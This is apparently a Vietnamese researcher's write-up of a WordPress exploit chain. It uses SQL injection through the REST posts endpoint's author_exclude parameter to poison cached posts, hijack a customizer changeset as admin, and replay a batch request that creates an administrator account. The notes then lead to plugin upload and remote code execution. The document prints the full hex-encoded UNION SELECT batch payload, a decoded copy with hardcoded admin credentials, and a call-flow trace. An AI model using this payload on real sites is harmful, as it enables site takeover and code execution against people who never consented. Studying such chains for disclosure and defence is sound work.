Có luồng như sau:

1. Đã SQLi + poison memory
2. Changeset apply → wp_set_current_user(1)     // tạm admin
3. Save setting → đụng post P → cycle → update D
4. D trong memory: status=parse, type=request
5. wp_insert_post / transition trên D
6. do_action( "parse" . "_" . "request", D_ID, $post )
        = do_action( 'parse_request', ... )
7. “Replay” batch / đầu request với user=1
8. POST /wp/v2/users thành công
9. Login admin → upload plugin → RCE
$setting->save()                    // không có do_action('parse_request') ở đây
  → update P
    → loop D
      → wp_update_post(D)
        → wp_transition_post_status
          → do_action( "{$new_status}_{$post_type}" )  // = parse_request
            → rest_api_loaded (đã add_action sẵn)
              → serve_request(batch) lần nữa (user=1)

Payload giai đoạn này như sau:

{"requests": [{"method": "POST", "path": "http://:"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": [{"method": "GET", "path": "http://:"}, {"method": "GET", "path": "/wp/v2/posts/999999?author_exclude=1) AND 1=0 UNION ALL SELECT 0,1,0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,0x5b656d6265642077696474683d2235303022206865696768743d22373530225d687474703a2f2f3132372e302e302e312f323032332f30372f30332f68656c6c6f2d776f726c642f23313036623532306363636237315b2f656d6265645d,0x74726967676572,'',0x7075626c697368,0x636c6f736564,0x636c6f736564,'',0x74726967676572,'','',0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,'',0,'',0,0x706f7374,'',0 UNION ALL SELECT 24,1,0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,0x7b226e61765f6d656e755f6974656d5b313832343634333339385d223a7b2274797065223a226e61765f6d656e755f6974656d222c22757365725f6964223a312c2276616c7565223a7b226f626a6563745f6964223a302c226f626a656374223a22222c226d656e755f6974656d5f706172656e74223a302c22706f736974696f6e223a302c2274797065223a22637573746f6d222c227469746c65223a2267656e657261746564222c2275726c223a2268747470733a2f2f6578616d706c652e696e76616c69642f222c22746172676574223a22222c22617474725f7469746c65223a22222c226465736372697074696f6e223a22222c22636c6173736573223a22222c2278666e223a22222c22737461747573223a227075626c697368222c226e61765f6d656e755f7465726d5f6964223a302c225f696e76616c6964223a66616c73657d7d7d,0x6368616e6765736574,'',0x667574757265,0x636c6f736564,0x636c6f736564,'',0x35356436373430662d396338382d343134652d383438652d346637646562623466376230,'','',0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,'',1824643397,'',0,0x637573746f6d697a655f6368616e6765736574,'',0 UNION ALL SELECT 1824643397,1,0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,0x6f75746572,0x6f75746572,'',0x6472616674,0x636c6f736564,0x636c6f736564,'',0x6f75746572,'','',0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,'',24,'',0,0x706f7374,'',0 UNION ALL SELECT 25,1,0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,'',0x6361636865,'',0x7075626c697368,0x636c6f736564,0x636c6f736564,'',0x6361636865,'','',0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,'',24,'',0,0x706f7374,'',0 UNION ALL SELECT 1824643398,1,0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,0x6e6176,0x6e6176,'',0x7075626c697368,0x636c6f736564,0x636c6f736564,'',0x6e6176,'','',0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,'',26,'',0,0x6e61765f6d656e755f6974656d,'',0 UNION ALL SELECT 26,1,0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,0x7061727365,0x7061727365,'',0x7061727365,0x636c6f736564,0x636c6f736564,'',0x7061727365,'','',0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,'',1824643399,'',0,0x72657175657374,'',0 UNION ALL SELECT 1824643399,1,0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,0x696e6e6572,0x696e6e6572,'',0x6472616674,0x636c6f736564,0x636c6f736564,'',0x696e6e6572,'','',0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,'',26,'',0,0x706f7374,'',0 -- -&per_page=500&orderby=none"}, {"method": "GET", "path": "/wp/v2/posts"}, {"method": "POST", "path": "/wp/v2/users", "body": {"username": "wp2_106b520cccb7", "password": "Wp2!BdYzqsvYjaepZ7tmfYSL", "email": "[email protected]", "roles": ["administrator"]}}, {"method": "POST", "path": "/wp/v2/users", "body": {"username": "wp2_106b520cccb7", "password": "Wp2!BdYzqsvYjaepZ7tmfYSL", "email": "[email protected]", "roles": ["administrator"]}}]}}, {"method": "POST", "path": "/batch/v1"}]}

Với payload cụ thể cho chỗ SQL là :

/wp/v2/posts/999999?author_exclude=1) AND 1=0 UNION ALL SELECT 0,1,2020-01-01 00:00:00,2020-01-01 00:00:00,[embed width="500" height="750"]http://127.0.0.1/2023/07/03/hello-world/#106b520cccb71[/embed],trigger,'',publish,closed,closed,'',trigger,'','',2020-01-01 00:00:00,2020-01-01 00:00:00,'',0,'',0,post,'',0 UNION ALL SELECT 25,1,2020-01-01 00:00:00,2020-01-01 00:00:00,'',cache,'',publish,closed,closed,'',cache,'','',2020-01-01 00:00:00,2020-01-01 00:00:00,'',24,'',0,post,'',0 UNION ALL SELECT 24,1,2020-01-01 00:00:00,2020-01-01 00:00:00,{"nav_menu_item[1824643398]":{"type":"nav_menu_item","user_id":1,"value":{"object_id":0,"object":"","menu_item_parent":0,"position":0,"type":"custom","title":"generated","url":"https://example.invalid/","target":"","attr_title":"","description":"","classes":"","xfn":"","status":"publish","nav_menu_term_id":0,"_invalid":false}}},changeset,'',future,closed,closed,'',55d6740f-9c88-414e-848e-4f7debb4f7b0,'','',2020-01-01 00:00:00,2020-01-01 00:00:00,'',1824643397,'',0,customize_changeset,'',0 UNION ALL SELECT 1824643397,1,2020-01-01 00:00:00,2020-01-01 00:00:00,outer,outer,'',draft,closed,closed,'',outer,'','',2020-01-01 00:00:00,2020-01-01 00:00:00,'',24,'',0,post,'',0 UNION ALL SELECT 1824643398,1,2020-01-01 00:00:00,2020-01-01 00:00:00,nav,nav,'',publish,closed,closed,'',nav,'','',2020-01-01 00:00:00,2020-01-01 00:00:00,'',26,'',0,nav_menu_item,'',0 UNION ALL SELECT 26,1,2020-01-01 00:00:00,2020-01-01 00:00:00,parse,parse,'',parse,closed,closed,'',parse,'','',2020-01-01 00:00:00,2020-01-01 00:00:00,'',1824643399,'',0,request,'',0 UNION ALL SELECT 1824643399,1,2020-01-01 00:00:00,2020-01-01 00:00:00,inner,inner,'',draft,closed,closed,'',inner,'','',2020-01-01 00:00:00,2020-01-01 00:00:00,'',26,'',0,post,'',0 -- -&per_page=500&orderby=none

Debug luồng chạy :

image.png

Ở đây nó sẽ chạy vào hàm check_loop luôn do là update nhưng mà có parent, thì ở đây nó check được postID là 25 và parent của nó là 24

image.png

Như đã giải thích từ trước thì nó sẽ ra một cái mảng array với ID loop, sau đó đi update 24 và 1824643397 thì có được content của 24 với userID là admin

image.png

Đoạn này check đối với cái ID_post changeset ở đây là 24 đang có kiểu changeset thì nó set user tạm thời là 1 tức là admin, sau đó saving mà saving sẽ hiểu update cái ID trong nav-menu nên nếu ID menu có parent thì cũng sẽ lọt vào luồng bên dưới lại.

image.png

Khi mà thực hiện xong quá trình update cho id 26 và parent 0 với các trường còn lại thì nó nhảy vào thực hiện do_action

image.png

image.png